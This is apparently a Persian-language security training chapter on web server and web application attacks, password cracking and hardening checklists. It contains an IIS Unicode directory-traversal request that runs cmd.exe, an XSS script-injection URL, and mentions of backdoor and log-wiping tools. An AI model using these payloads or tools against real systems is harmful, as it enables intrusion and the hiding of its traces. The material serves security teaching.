بايد ها، اين است كه وب سرور آن،اولين دليل . هستند هلمح بسيار مستعدوب، تحت هاي  وب سرورها و برنامه

مورد حمله قرار گرفت، راهي را براي ورود هكر به داخل  يزمانيكه وب سرور. از طريق اينترنت قابل دسترس باشند

توانند  شوند، مي هايي كه بر روي وب سرور نيز اجرا مي افزار وب سرور بلكه برنامه نه تنها نرم .دروآ شبكه فراهم مي

 و ندتر هست دسترس قابلهاي ديگر،  به خاطر عملكرد آنها، وب سرورها نسبت به سيستم. براي حمله استفاده شوند

  .تر است حفاظت از آنها كمتر است بنابراين، حمله به وب سرورها بسيار ساده

  

تر  روز هفته در دسترس هستند بنابراين حمله به شبكه را بسيار راحت 7ساعت شبانه روز و  24وب سرورها در 

گيرند، و نيز آسيب  انجام مي وبتحت هاي  اين فصل در مورد انواع حملاتي كه بر عليه وب سرورها و برنامه. ندنك مي

  .كند هاي آنها بحث مي پذيري

  

  هك وب سرورها

انواع حملاتي كه هكر  نيز هاي آنها، و آسيب پذيري ،به عنوان كارشناس امنيتي، بايد با نحوه هك وب سرورها

هاي ايمن سازي وب  ها و روش patchاي مديريت ه تكنيك باعلاوه بر اين، . استفاده كند، آشنا باشيد است ممكن

  .آشنا باشيد دياب زينسرورها 

  

  هاي وب سرور انواع آسيب پذيري

ترين  مهمبرخي از  .توانند مورد حمله هكر قرار گيرند هاي ديگر مي  وب سرورها نيز مثل سيستم

  :عبارتند ازهاي وب سرورها  پذيري آسيب

 ...)و  IIS ،Apache( افزار وب سرور پيكربندي نادرست نرم •
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 در كد برنامه اطخها يا افزار نرممشكلات سيستم عامل يا  •

 آنهاافزار وب سرور، و عدم به روز رساني  هاي پيش فرض سيستم عامل يا نرم آسيب پذير بودن نصب •

 هاي امنيتي صحيح نداشتن فرآيندها و سياست •

از آنجائيكه وب سرورها در  .كنند استفاده ميها براي ايجاد دسترسي به وب سرور  هكرها از اين آسيب پذيري

DMZ هاي داخل سازمان به راحتي قابل دسترس هستند، وجود ضعفي در يك وب  اند، و از طريق سيستم قرار گرفته

  .كند تر مي هاي داخلي را ساده ها و پايگاه داده سرور، دسترسي هكر به سيستم

  

  وب سرورهابه حملات 

هكرها، صفحات وب را  .است) تغيير صفحه وب سايت( defacementآشكارترين حمله بر عليه وب سرورها، 

كردن صفحه وب، يعني اينكه هكر از آسيب پذيري  Deface. كنند مي defaceصرفا به خاطر لذت يا معروف شدن، 

دهد تا نشان دهد سايت  هاي وب سايت را تغيير مي كند و سپس فايل افزار وب سرور استفاده مي سيستم عامل يا نرم

  .دهد خود را در صفحه اول سايت قرار مي ناممعمولا هكر، . هك شده است

  :كند عبارتند از defaceريق آنها وب سايتي را تواند از ط ترين حملات وب سايت كه هكر مي رايج

 man-in-the-middleحملات  از طريق administratorبه دست آوردن اعتبار  •

 brute-forceاز طريق حمله  administratorپسورد  فشك •

 براي هدايت كاربر به وب سرور ديگر DNSاستفاده از حمله  •

 e-mailيا  FTPحمله به سرور  •

 شود وب كه سبب آسيب پذيري آنها ميتحت هاي  ز مشكلات برنامهاستفاده ا •

 در شبكهشده پيكربندي نادرست منابع به اشتراك گذاشته  •

 )permission( هاي مجوز دهي سواستفاده از ضعف •

 پس از حمله به فايروال يا روتر ها مسيردهي مجدد كلاينت •

 )و وب سرور يكي هستند SQLاگر سرور ( SQL injectionاستفاده از حملات  •

 SSHيا  Telnetنفوذ از طريق  •

 كند كه كاربر را به آدرس اينترنتي ديگري هدايت مي URL poisoningانجام  •

 ريموتيا نفوذ از طريق سرويس  وب سرور ياه extensionاستفاده از  •
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IIS Unicode Exploit  

به  كه directory traversalنصب هستند، بسيار مستعد حمله  IISكه بر روي آنها  2000هاي ويندوز  سيستم

 directory، اجازه IISآسيب پذيري موجود در . هستند شود شناخته ميهم  Unicode exploitعنوان 

traversal/Unicode exploit  كه  2000 ويندوز هاي در سيستمتنها راpatch امنيتي بر روي آنها نصب نيستند  هاي

اين آسيب پذيري به . تاثيرگذار هستند ASPهمچون  ISAPIهاي  و توسعه CGIهاي  دهد و بر روي اسكريپت را مي

  .دهد دهد و اجازه دسترسي هكر را به سيستم مي رخ مي IIS parser نادرست يونيكد توسط )تفسير( دليل ترجمه

هر چند كه يونيكد، دو . كند تبديل مي )universal( را به كدهاي مشخص جهانييونيكد، كاراكترهاي هر زباني 

، IISتواند از طريق  بنابراين هكر مي .كند سر، تنها يكبار درخواست نتايج را اسكن ميشود ولي پار بار ترجمه مي

به جاي يك اسلش در يك نام مسير استفاده كند تا از  c0% af%، از براي مثال. اي فايل را مخفي كنده درخواست

 "co%af%"ها با  براي اسلش "2E%"ها با يونيكد  براي نقطه ASCIIكاراكترهاي  .استفاده كند IISآسيب پذيري 

  :شود ، دستورات مورد دلخواه بر روي سرور اجرا ميIISبه  HTTPبراي مثال با تغذيه درخواست . شود جايگزين مي

GET/scripts/..%c%af../winnt/system32/cmd.exe?/c+dir=c:\ HTTP/1.0 

آسيب پذيري  .ددهد كه نبايد ببين ي را ميها درخواست، اجازه دسترسي هكر به فايل در بعضي از موارد،

Unicode Directory Traversal در ،IIS  وجود دارد كه با استفاده از يك آدرس  5و  4هاي ورژنURL  ،نادرست

 ،اجازه افزايش سطح دسترسي و ها و فولدرهايي كه در فولدرهاي وب وجود دارند، دسترسي پيدا كرد توان به فايل مي

افه يا اجرا كردن اض زين و ،ها يا آپلود كردن و اجراي كد روي سرور اضافه كردن، تغيير دادن، يا حذف كردن فايل

  .را روي سيستم نصب كند backdoorتروجان يا  تادهد  به هكر مي را روي سيستمبر ها  فايل

  

IIS Unicode exploit اثبات آسيب پذيري  و، آسيب پذيري قديمي است و در اينجا تنها براي بيان مفهوم

  .شده است هاستفاده از آن، آورداحتمال آن و 
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  ابزارهاي هك
N-Stalker Web Application Security Scanner اجازه ارزيابي يك برنامه تحت وب را براي تعداد زيادي از ،

-parameter، و cross-site scripting ،SQL injection ،buffer overflowها از قبيل حملات  آسيب پذيري

tampering دهد را مي.  
  

Metasploit frameworkها،  تيولپسكا .افزار وب سرور است ست يا هك سيستم عامل يا نرم، ابزاري رايگان براي ت
، ابتدا تيولپسااتم .تواند از طريق ويندوز يا يونيكس انجام شود ها استفاده شوند و تست مي نيگلاپ توانند به عنوان مي

توانند  ، هكرها ميتيولپسااتم با استفاده از. وب است سيفرتنيااكنون داراي  يلويك برنامه خط دستوري بود 
  .هاي خودشان را بنويسند تيولپسكا
   

IISxploit.exe ابزاري براي خودكار كردن ،directory traversal exploit  درIIS كردن از  تيولپسكا است كه براي
Unicode string كند استفاده مي.  

  
ASP Trojan (cmd.asp)شود، كنترل كامل  ، اسكريپت كوچكي است كه زمانيكه بر روي وب سرور آپلود مي

استفاده  backdoorاي متصل شود و به عنوان  تواند به راحتي به برنامه افزار مي اين نرم. دهد كامپيوتر راه دور را مي
  .گردد

  
CleanIISLog ابزاري است كه ،log  هايIIS  را بر حسب آدرسIP هاي  تواند ركوردهاي فايل هكر مي. كند پاك مي

  خودش است را پاك كند تا ردپايي از خود بر جاي نگذارد،  IPرا كه مربوط به آدرس  W3SVCلاگ 
  

، CORE IMPACT، SAINT Vulnerability Scanner، ServerMask :برخي ديگر از ابزارهاي هك عبارتند از
ServerMask ip100 ،CasheRight ،HTTPZip ،LinkDeny ،MPack ،Neosploit.  
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  ها patchهاي مديريت  تكنيك

hotfix ممكن است كاربران از طريق ايميل يا وب . كند محصول برطرف مييك ، كدي است كه ايرادي را در

 serviceشوند كه  ها تركيب شده و بصورت پك توزيع مي hotfixبعضي اوقات اين . سايت فروشنده از آن مطلع شوند

pack مديريت . شود ناميده ميpacth فرآيند به روز رساني ،patch مديريت . هاي مورد نياز براي يك سيستم است

نصب شده بر  هاي patchشما بايد لاگي از . ها است patchبررسي نيز و  ،ها شامل انتخاب نحوه نصب patchصحيح 

كه  patchهاي خودكار مديريت  توانيد از سيستم ، ميها patchتر  براي نصب ساده. نگهداري كنيد ، راروي هر سيستم

ها  افزار ارائه شده است استفاده كنيد تا سيستم و ديگر فروشندگان نرم PatchLink ،St. Bernard ،Microsoftتوسط 

، UpdateExpert: برخي از اين ابزارها عبارتند از .را نصب كنيد ها patchرا ارزيابي كنيد و تصميم بگيريد كه كدام 

Qfecheck ،HFNetChk. 

  

  

  اسكنرهاي آسيب پذيري

   :از اسكنرهاي آسيب پذيري وجود دارندانواع مختلف 

  www.securityseers.comمثل : اسكنرهاي آنلاين

  .Nmap، و Snort ،Nessus Security Scannerمثل : اسكنرهاي اپن سورس

  .Parallel Port، و SANE ،XVScanمثل : اسكنرهاي مخصوص لينوكس

  

Whiskerتيولپسكا از نظر داشتن ار ها و وب سرورهاي راه دور افزار اسكن آسيب پذيري است كه فايل ، نرم ،

  . دكن اسكن مي
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  : افزارهاي اسكن عبارتند از برخي ديگر از نرم

• N-Stealth HTTP Vulnerability Scanner 

• WebInspect 

• Shadow Security Scanner 

• SecureIIS 

• ServersCheck Monitoring 

• GFI Network Server Monitor 

• Servers Alive 

• Webserver Stress Tool 

• Secunia PSI 

  هاي امن سازي وب سرور روش

هاي امن  در زير برخي از روش .براي امن سازي سرور انجام دهدرا تواند اقدامات زيادي  مدير يك وب سرور، مي

  :سازي وب سرور آمده است

 و استفاده از پسورد پيچيده administratorتغيير نام اكانت  •

 default FTP siteو  Default web siteفعال كردن غير •

 WebDAVهاي بدون استفاده از سرور از قبيل  حذف برنامه •

 در تنظيمات وب سرور) مشاهده دايركتوري( directory browsingغير فعال كردن  •

 هك سايت تاز تاثيرااي آگاه ساختن هكرها ريك هشدار قانوني در سايت باضافه كردن  •

 افزار وب سرور هاي جديد براي سيستم عامل و نرم ها و سرويس پك patchنصب  •

 ...و  buffer overflowهاي كاربر در فرم وب براي جلوگيري از حملات  بررسي ورودي •

 غير فعال ساختن مديريت از راه دور •

 )"File not found"( 404خطا از قبيل  هاي غير لازم به يك پيام استفاده از اسكريپتي براي نگاشت فايل •

 auditingو  loggingفعال كردن  •

 443يا  80هاي لازم از قبيل  استفاده از فايروال بين وب سرور و اينترنت و باز كردن تنها پورت •

 ها به يك وب سرور در زمان ارسال داده POST روش با GETجايگزيني روش  •
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و  "lt&"با كاركترهاي  "<" , ">"، جايگزيني كاراكترهاي cross site scriptingهاي مقابله با  يكي از روش

"&gt" با استفاده از اسكريپت هاي سرور است  

  

  چك ليست محافظت از وب سرور

Patch  ها وupdate ها:  

  هاي سيستم عامل استفاده كنيد براي بررسي منظم آخرين آپديت MBSAاز ابزار  •

Auditing  وlogging:  

 logدر  failed logon attemptsفعال سازي  •

 IISبراي  logهاي  جابجا كردن و امن ساختن فايل •

  :ها سرويس

 هاي غير ضروري ويندوز غيرفعال ساختن سرويس •

 هاي ضروري با كمترين سطح دسترسي اجراي سرويس •

Script Mapping:  

• Extension 404شوند به  ها استفاده نمي هايي كه توسط برنامه.dll  هدايت شوند).idq ،.htw ،.ida ،.shtml ،

.stm ،.idc ،.htr ،.printer( 

  :ها پروتكل

 WebDAVغير فعال كردن  •

 )445و  139، 138، 137هاي  بستن پورت( SMBو  NetBIOSغير فعال كردن  •

  :ها اكانت

 هاي بدون استفاده حذف اكانت •

 questغير فعال كردن اكانت  •

 administratorتغير نام اكانت  •

 Administartorفعال كردن ورود محلي براي  •
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ISAPI Filters:  

 شود كه استفاده نمي ISAPIحذف فيلترهاي  •

  :ها ها و دايركتوري فايل

 باشند NTFSها بايد در درايوهاي  ها و دايركتوري فايل •

 ذخيره شوند NTFSمحتواي وب سايت در درايوي به غير از  •

 كند denyرا  IUSER COMPUTERNAMEدايركتوري ريشه وب سايت، حق نوشتن را براي  •

IIS Metabase:  

 بايد محدود شود metabase، دسترسي به NTFSبا استفاده از مجوزهاي  •

Share ها :  

 )$Adminو  $administrator )Cهاي  shareحذف  •

  :ها پورت

 443و  80هاي تحت وب، تنها براي استفاده از پورت  برنامه •

 محدود شوند

  :امنيت دسترسي به كد

  دوشترسي به كد، بر روي سرور فعال امنيت دس •

  

  وبتحت هاي  هاي برنامه آسيب پذيري

اينكه شما بايد با آسيب پذيري وب سرورها آشنا باشيد بايستي با آسيب علاوه بر به عنوان كارشناس امنيتي، 

هاي تحت وب و هدف از هك  در اين بخش، در مورد نحوه كار برنامه .هاي تحت وب هم آشنا باشيد هاي برنامه پذيري

هاي تحت  هاي تحت وب و بعضي از تهديدات برنامه همچنين ساختار حملات بر برنامه. بحث خواهيم كرد اهوب سرور

  .خواهيم كردبحث هاي مقابله با آن  و روش google hackingدر آخر، در مورد  .وب را مورد آزمايش قرار خواهيم داد
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  هاي وب نحوه كار برنامه

از طريق وب  كاربر بتواند شوند تا هايي هستند كه بر روي وب سرور نگهداري مي هاي تحت وب، برنامه برنامه

هاي تحت وب  هايي از برنامه ها، مثال بلاگ و هاي بحث، هاي پايگاه داده، وب ميل، گروه كوئري. سايت، كار كند

  .هستند

  

كند كه مرورگر وب به عنوان كلاينت و وب سرور به  سرور استفاده مي/يك برنامه تحت وب، از معماري كلاينت

از . هاي تحت وب است سازي برنامه جاوا اسكريپت، روشي رايج براي پياده. كند عنوان اپليكشن سرور عمل مي

تواند با اغلب  هر كاربري با مرورگر خود مياند،  سازي شده هاي تحت وب، به طور گسترده پياده آنجائيكه برنامه

  .ها تعامل كند سايتيوتيليتي 

  

  وب تحت هاي هك برنامهاز ف هد

هاي تحت وب، براي امنيت  برنامه. هدف از هك يك برنامه تحت وب، به دست آوردن اطلاعات محرمانه است

ها و  ها با شماره اي كه شامل اطلاعاتي از قبيل هويت يك سيستم، حياتي هستند براي اينكه آنها معمولا به پايگاه داده

دهد  هاي تحت وب، تهديدات را افزايش مي ي برنامهها آسيب پذيري. شوند پسوردهاي كارت اعتباري است، متصل مي

هاي  برنامه. افزار وب سرور يا برنامه تحت وب سو استفاده كنند شود هكرها بتوانند از سيستم عامل و يا نرم و سبب مي

  .توانند براي نفوذ به سيستم استفاده شوند تند و ميستحت وب، راه ورود ديگري به سيستم ه

  

  آناتومي حمله

اي را  هكرها، يك فرآيند پنج مرحله. هاي ديگر است هاي تحت وب، مشابه هك كردن سيستم كردن برنامههك 

كنند، و نهايتا  آوري مي كنند، اطلاعات را براي تست حملات مختلف جمع آنها شبكه را اسكن مي: كنند دنبال مي

  :شده استاين مراحل در شكل زير نشان داده . كنند حمله را طرح ريزي و اجرا مي
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  هاي وب تهديدات برنامه

  :اند ترين اين تهديدات ذكر شده در زير، مهم. تهديدات زيادي در وب سرور وجود دارند

Cross-site scripting: كند تا كد مخرب مثل جاوا اسكريپت را ارسال  زمانيكه هكر از برنامه تحت وب استفاده مي

شود،  شوند، تروجان نصب مي هاي كاربر نهايي فاش مي در اين حمله، فايل. افتد اتفاق مي cross-site scriptingكند، 

ها،  وب سرورها، اپليكشن سرورها، و وب اپليكشن. كند ر مييشود، و محتوا تغي كاربر به صفحه ديگري هدايت مي

  . دنتسه هلمح عون نيا مستعد

هكر ايميلي به . است) مشكل(، داراي اين باگ XSECURITYسايت  شود كه وب هكري متوجه مي :XSSمثالي از 

كند كه شما برنده شديد و تنها كاري كه بايد بكنيد اين است كه بر روي لينك زير  كند و ادعا مي شما ارسال مي

آدرس لينك به صورت . كليك كنيد

www.xsecurity.com/default.asp?name=<script>evilScript()</script> زمانيكه شما بر روي لينك . است

آيد؟ با كليك بر  چه بلايي بر سر اسم شما مي. كند و خوش آمدگويي ميكنيد، وب سايت با شما احوالپرسي  كليك مي

 <script>evilScript()</script>گوييد كه نام شما  مي XSECURITYروي لينك در ايميل، شما به وب سايت 

مرورگر شما، اين . كند كند و به مرورگر شما ارسال مي جاسازي مي HTMLوب سرور، نام شما را داخل  .است

، اطلاعات سرمايه و به مرورگر شما دستور دهد كه كوكي اگر اين اسكريپت. كند اسكريپت را به درستي تفسير مي

 XSECURITYپس از همه اينها، دستوري از وب سايت . دهد سهام شما را به هكر بفرستد، سريعا آن را انجام مي

  .آيد كه مالك آن كوكي است مي
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كنيد، از سياست ) validate(ها، و فيلدهاي خالي را بررسي  ها، فيلدهاي فرم براي مقابله با آن، هدرها، كوكي

هاي اسكريپت را فيلتر كنيد تا از ارسال آنها توسط كاربران جلوگيري كنيد و  امنيتي شديد پيروي كنيد، خروجي

  .از بين ببريدرا  XSSآسيب پذيري 

SQL injection:  ازSQL تزريق دستورات با . كند هاي پايگاه داده استفاده مي براي دستكاري مستقيم دادهSQL  به

URLهاي  تواند از برنامه هكر مي .شود ، سبب از كار انداختن، تغيير، حذف، يا ايجاد اطلاعات در سرور پايگاه داده مي

. هاي با ارزش دسترسي پيدا كند تحت وب آسيب پذير استفاده كند تا معيارهاي امنيتي را دور بزند و بتواند به داده

 .دنگير ها، و از طريق كوئري و جستجو انجام مي ، از طريق نوار آدرس، فيلدهاي برنامهSQL Injectionمعمولا حملات 

  .ين حمله، متغيرهاي كاربر را چك كنيدبراي جلوگيري از ا

Command injection: اين نقص، بر مبناي انتقال كد مخرب از  .كند هكر، دستورات برنامه را وارد وب فرم مي

شود  نوشته مي... و  Perl ،pythonهاي  هايي كه با زبان اسكريپت. طريق يك برنامه تحت وب به سيستم ديگر است

هاي  براي جلوگيري از اين حمله، از كتابخانه .اند، شوند هاي تحت وبي كه ضعيف طراحي شده توانند وارد برنامه مي

  .براي زبان برنامه نويسي استفاده كنيد) langiage-specific libraries(مختص زبان 

Directory traversal/Unicode:  يك مرورگر يا هكر، از طريقwindows explorerهاي روي يك  ، تمام پوشه

تمام . دسترسي تعريف كنيد زوجمخصوصي روي وب سرور،  هاي براي جلوگيري از آن، براي پوشه .بيند ميسيستم را 

patch و  هاhotfix ها را نصب كنيد.  
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Cookie poisoning and snooping: شوند ز وضعيت نشست استفاده ميها براي نگهداري ا كوكي .poisoning به ،

هكر،  در اين حمله، .مجاز دسترسي پيدا كندو به اطلاعات غير كند دراودهد تا محتواي مخرب را  هكر اجازه مي

  .دزدد كند يا مي ها را خراب مي كوكي

  براي مقابله با آن، 

 پسوردهاي رمز نشده را در كوكي ذخيره نكنيد •

 تعريف كنيد) timeout(انقضا  تدمها،  كوكيبراي  •

 ، همراه باشدIPها بايد با آدرس  اطلاعات هويتي كوكي •

  استفاده كنيد logoutاز  ،براي خروج •

Buffer overflow: ها از طريق يك وب فرم براي اجراي دستورات، به يك برنامه تحت وب  مقدار زيادي از داده

تقربيا تمام وب . هاي تحت وب، احتمال كمتري براي شناسايي دارند برنامهمشكل سرريزي بافر در  .شوند ارسال مي

  .، مستعد اين حمله هستند)J2EEو  Javaبه جز (هاي تحت وب  سرورها، اپليكشن سرورها، و برنامه

  

براي ( StackShieldو  StackGuardها بررسي كنيد، از ابزارهاي  براي مقابله با آن، طول ورودي را در فرم

  .ها در برابر شكستن پشته هستند ها و سيستم براي جلوگيري از برنامه) ط لينوكسمحي

Authentication hijacking: براي جلوگيري از اين حمله، از  .دزدد هكر، نشستي كه كاربر ايجاد كرده است را مي

SSL  ،استفاده كنيدبراي رمزگذاري ترافيك.  

 Parameter/form tampering ،Cryptographic interception ،Cookie: برخي ديگر از تهديدات عبارتند از

snppong ،Log tampering ،Error message interception attack ،Obfuscation application ،Platform 

exploits ،DMZ protocol attacks ،Security management exploits ،Web services attacks ،Zero day 

attack ،Network access attacks  وTCP fragmentation.  
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  ابزارهاي هك
Instant Sourceدهد كد  ، به هكر اجازه ميHTML به طور مستقيم از طريق يك مرورگر و  را ببيند و ويرايش كند

كد مربوط به هر بخش از صفحه را توانيد  كند مي اضافه مي IEكه در  toolbarبا  .گيرد مورد استفاده قرار مي وب
  .ببينيد

  
Wgetتواند براي دانلود تمام يك وب سايت  است كه هكر مي هاي ويندوزي و يونيكسي براي محيط ، ابزار دستوري

تواند كد را به صورت آفلاين ببيند و قبل از انجام حمله به وب سرور واقعي، حملات خاصي را  هكر مي. استفاده كند
  .تست كند

  
WSDigger براي تست وب سرويس است كه شامل برخي از حملات ساده براي رايگان ، ابزاريSQL injection ،

cross-site scriptingو حملات ديگر وب است ،.  
  

dotDefenderهاي تحت وب است از قبيل ، ابزاري براي محافظت از حملات در برابر برنامه:  
SQL Injection ،Proxy Takeover ،Cross-site Scripting ،Header Tapmering ،Patch Traversal و ،

Probes.  

  
  

Burpتواند براي حدس  همچنين مي. هاي وب است كه مبتني بر ويندوز است ، ابزاري خودكار براي حمله بر برنامه
  .استفاده شود man-in-the-middleت هاي تحت وب و انجام حملا پسورد برنامه

  
WebSleuth براي ايندكس كردن تمام يك وب سايت، از تكنولوژي ،spidering تواند  براي مثال، مي. كند استفاده مي

  .هاي ايميل را از صفحات مختلف وب سايت استخراج كند تمام آدرس
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WebWatchBotهاي تحت  ها و دستگاه افزار مانيتورينگ و آناليز براي وب سايت ، نرمIP هاي  است كه تستPing ،

HTTP ،HTTPS ،SMTP ،POP3 ،FTP ،Port  وDNS هاي اجرا شدن به عنوان  همچنين داراي قابليت. است
  .سرويس ويندوز، و نيز داراي گراف سه بعدي سفارشي شده است

  
BlackWidowهاي  ها، آدرس ام صفحات يك وب سايت را اسكن كند و پروفايلي از ساختار سايت، فايلتواند تم ، مي

  .هاي خارجي و حتي خطاهاي لينك ايجاد كند ايميل، لينك
  
، Mapper ،Ratproxy ،Watchfire AppScan ،WebScarab ،Parosproxy: رخي ديگر از ابزارها عبارتند ازب

KeepNI ،Emsa Web Monitor ،NetBrute ،Falcove ،AccessDriver ،AppScan و ،Acunetix Web 

Scanner.  
  

Google Hacking 

Google hacking ، استفاده از گوگل براي به دست آوردن اطلاعات با ارزشي همچون پسوردها براي هدف

 Acunetix Web Vulnerability Scannerو  http://johnny.ihackstuff.comبسياري از ابزارها همچون . است

توانيد كلمه  شما ميبراي مثال، . كند تر مي است كه كار جستجو را ساده google hackingشامل ليستي از كلمات 

password  ياmedical records اغلب . توانيد به دست آوريد را در گوگل وارد كنيد و ببينيد كه چه اطلاعاتي مي

  .كند مواقع، گوگل، اطلاعات را بطور مستقيم از پايگاه داده يا مستندات خصوصي استخراج مي

  

  مبتني بر وب هايهاي شكستن پسورد نيكتك

انواع مختلف احراز ، مبتني بر وب هايهاي شكستن پسورد به عنوان كارشناس امنيتي شما بايد با تكنيك

  .هاي مقابله با آنها آشنا باشيد و روش ،شكستن پسوردمختلف هاي  هويت، مفهوم پسورد كركر، تكنيك

  

  احراز هويت

هاي كامپيوتري، احراز هويت معمولا از طريق  در شبكه. كردن هويت كاربر استاحراز هويت، فرآيند مشخص 

  .ممكن است كه پسورد، گم شود، لو رود يا فراموش شود. شود آي دي و پسورد انجام مي
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  انواع احراز هويت

احراز  ترين آن، مهم. كنند هاي تحت وب، از انواع مختلف احراز هويت پشتيباني مي وب سرورها و برنامه

هاي  ، نامbasicدر روش احراز هويت . digestو  basic: وجود دارد HTTPاحراز هويت دو نوع . است  HTTPهويت

، اطلاعات احراز هويت با استفاده از digestه در روش كشوند در حالي كاربري و پسوردها به صورت رمز نشده ارسال مي

  .شوند مي hashبراي احراز هويت،  challenge-responseمدل 

  

، NTLM ،certificate-based ،token-basedهاي تحت وب، از احراز هويت  وب سرورها و برنامهعلاوه بر اين، 

كند و  استفاده مي IISو وب سرورهاي  Internet explorer، از NTLMاحراز هويت . كنند و بيومتريك پشتيباني مي

داخلي روي يك اينترانت كه از سيستم عامل ويندوز براي احراز هويت  NTLMشود كه احراز هويت  سبب مي

براي امنيت بيشتر استفاده  Kerberosاز احراز هويت  2003و  2000ويندوز  .كند، بسيار مناسب باشد استفاده مي

خصوصي /براي تكنولوژي كليد عمومي X.509، از گواهي )certificate-based(احراز هويت مبتني بر گواهي . كند مي

ثانيه  60افزاري است كه كد احراز هويت را براي  ، يك دستگاه سختSecureIDتوكن، همچون . كند استفاده مي

  .تواند از اين كد براي ورود به يك شبكه استفاده كند دهد و كاربر مي نمايش مي
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ز قبيل ا شخص، هاي فيزيكي از ويژگييك سيستم تشخيص الگو است كه با استفاده احراز هويت بيومتريك، 

از شناسايي، نسبت به  اين نوع .كند چشم، يا اثر كف دست براي احراز هويت كاربر استفاده مي عنبيهاثر انگشت، 

خواهد شناسايي شود  اولويت دارد براي اينكه شخصي كه مي PINهاي سنتي احراز هويت از قبيل  استفاده از روش

هاي سنتي اين مزيت را دارد كه  از اين روش به جاي روشبصورت فيزيكي حضور داشته باشد و نيز استفاده  دباي

  . نيازي به به خاطر سپردن پسورد يا حمل توكن ندارد
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  :شناسايي بر مبناي حالت هندسي دست

  . شود در اين روش از شكل هندسي دست براي احراز هويت كاربر استفاده مي

  

  :اسكن شبكيه چشم

جعل اسكن . شود هاي عنبيه، شبكيه چشم شناسايي مي و الگوي رگ هاي خوني شبكيه با اسكن الگوهاي رگ

شبكيه چشم بسيار دشوار است براي اينكه براي كلاهبرداري از شبكيه شخص، تكنولوژي وجود ندارد و شبكيه يك 

  .توان براي دور زدن اين اسكن از آن استفاده كرد شود و نمي شخص مرده نيز به سرعت متلاشي مي

  

  :تشخيص چهره

سازي اين  پياده. كند نوعي از احراز هويت است كه براي شناسايي شخص، از تكنيك تشخيص چهره استفاده مي

  .روش دشوار است
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  پسورد

  :نكات زير را در مورد پسوردها به خاطر بسپاريد

  كاراكتر استفاده كنيد 8حداقل از  •

 از تركيب حروف بزرگ و كوچك، اعداد و علائم استفاده كنيد •

 اي كه در ديكشنري موجود است استفاده نكنيد كلمهاز  •

 از يك پسورد دو بار استفاده نكنيد •

 پسوردي را استفاده كنيد كه بتوانيد به خاطر بسپاريد •

 را كاهش دهيد shoulder surfingتوانيد سريع تايپ كنيد تا احتمال  پسوردي را انتخاب كنيد كه مي •

 microsoft1استفاده نكنيد مثلا از يك عدد يا نشانه قبل و بعد از كلمه  •

 msoftmsoftيك كلمه را دو بار ننويسيد مثلا  •

 tfosorcimيك كلمه را بصورت برعكس ننويسيد مثلا  •

 ioاز آواها استفاده نكنيد مثلا  •

 asdfيا  qwertyاز توالي كليدها استفاده نكنيد مثلا  •

 تبديل نكنيد 0را به  o، و 1را به  iو  L، 3را با  z3ro10v3 ،eاز تحريف حروف استفاده نكنيد مثلا در عبارت  •

 بطور منظم، پسورد خود را تغيير دهيد مثلا ماهانه •

 پس از بازگشت از سفر، پسورد خود را تغيير دهيد •

تواند حدس بزند، پسورد خود را تغيير دهيد مثلا  داند يا مي زمانيكه احساس كرديد كسي پسورد شما را مي •

 يپ پسورد، كسي پشت سر شما ايستاده باشدزمانيكه در هنگام تا

 پسورد خود را بر روي كامپيوترتان ذخيره نكنيد مگر اينكه به صورت رمز شده باشند •

امن نيستند بنابراين زمانيكه ويندوز به شما درباره ذخيره پسورد پيغام ) pwl.هاي  فايل(كش كردن پسورد  •

 دهد، آن را ذخيره نكنيد مي

 نگوييد حتي به مدير سيستم خود پسورد خود را به كسي •

 هاي نا امن ديگر ارسال نكنيد پسورد خود را از طريق ايميل يا كانال •

 پسورد خود را بر روي تكه كاغذي بنويسيد ولي آن را رها نكنيد و به دور از دسترسي ديگران نگه داريد •

 كنيد مواظب افراد نزديك خود باشيد زمانيكه پسورد خود را وارد مي •

  توكن براي ارسال پسورد استفاده كنيديا  Kerberosاز مكانيزم احراز هويتي قوي همچون  •
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  هايي از پسوردهاي بد مثال

• "james8"  :نام كاربري آن بسيار كوتاه است 

• "samatha" :اسم دوست دختر كاربر است كه حدس زدن آن ساده است 

• "superstitious" :در ديكشنري موجود است 

• "sUperStiTIous" :كند تنها تركيبي از حروف بزرگ است كه آن را امن نمي 

• "obiwan" : وجود دارددر ليست كلمات 

• "spicer" :در ديكشنري جغرافيايي موجود است 

• "qwertyuiop" :در ليست كلمه موجود است 

 

  پسورد كركر چيست؟

 هاي مبتني بر پسورد كركر، از روش. شود اي است كه براي رمزگشايي پسورد استفاده مي پسورد كركر، برنامه

هدف پسورد كركر، به دست آوردن  .كند براي شكستن پسورد استفاده مي brute-forceيا   dictionary حملات

تواند  دسترسي داشته باشد و مي ها ها و برنامه تواند به فايل با دسترسي مدير، هكر مي. پسورد مدير سيستم است

backdoor افزار استراق سمع شبكه بر روي آن نصب كند تا  تواند يك نرم همچنين هكر مي. يا تروجان نصب كند

  .كند بنابراين به بسياري از اطلاعات شبكه دسترسي خواهد داشت sniffترافيك داخلي شبكه را 

  

  

  كند؟ پسورد كركر چگونه كار مي

ديكشنري  ردتوان آنها را  از پسوردهاي بالقوه است كه مي ، توليد ليستيdictionary attack اولين مرحله در

هايي كه به راحتي از  هاي توليد كننده ديكشنري يا ديكشنري معمولا هكر اين ليست را با استفاده از برنامه. يافت

براي يافتن  سپس و دنشو مي hashاين ليست، رمزگذاري يا  تاملك .كند طريق اينترنت قابل دانلود هستند، ايجاد مي

، يا بطور )وايرلس يا كابلي(شده را از طريق استراق سمع شبكه  hashتواند پسورد  هكر مي. شود پسورد استفاده مي

  .دهد و در نهايت، برنامه، پسورد رمز نشده را نمايش مي به دست آورد SAMمستقيم از طريق فايل 
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در اين . براي شكستن آن بايد استفاده شود brute forceروش  اگر كاربري از پسورد پيچيده استفاده كند، از

شود كه نسبت به حمله ديكشنري،  حمله، تركيب تمام حالات ممكن از حروف، اعداد و كاراكترهاي خاص تست مي

  .هاي آن بسيار زياد است گيرد براي اينكه تعداد جايگشت زمان زيادي را مي

  

  بنديدسته : پسوردبراي شكستن حملات 

  :سه نوع حمله براي شكستن پسورد وجود دارد

Dictionary :كند كلمات موجود در ديكشنري را براي بررسي، چك مي.  

Brute force :كند تركيب تمام حالات حروف، اعداد، و كاراكترهاي مخصوص را چك مي.  

Hybrid :كند يك حرف، استفاده مي از تركيب كلمات ديكشنري با يك عدد يا كاراكتر مخصوص به عنوان جايگزين.  

  ابزارهاي هك

Cain & Abelهاي ويندوزي است كه اجازه بازيابي انواع مختلف پسورد را با  ، ابزاري براي شكستن پسورد در محيط

. شكند ، پسوردها را ميbrute forceو  dictionaryدهد و با استفاده از حملات  استفاده از استراق سمع شبكه مي

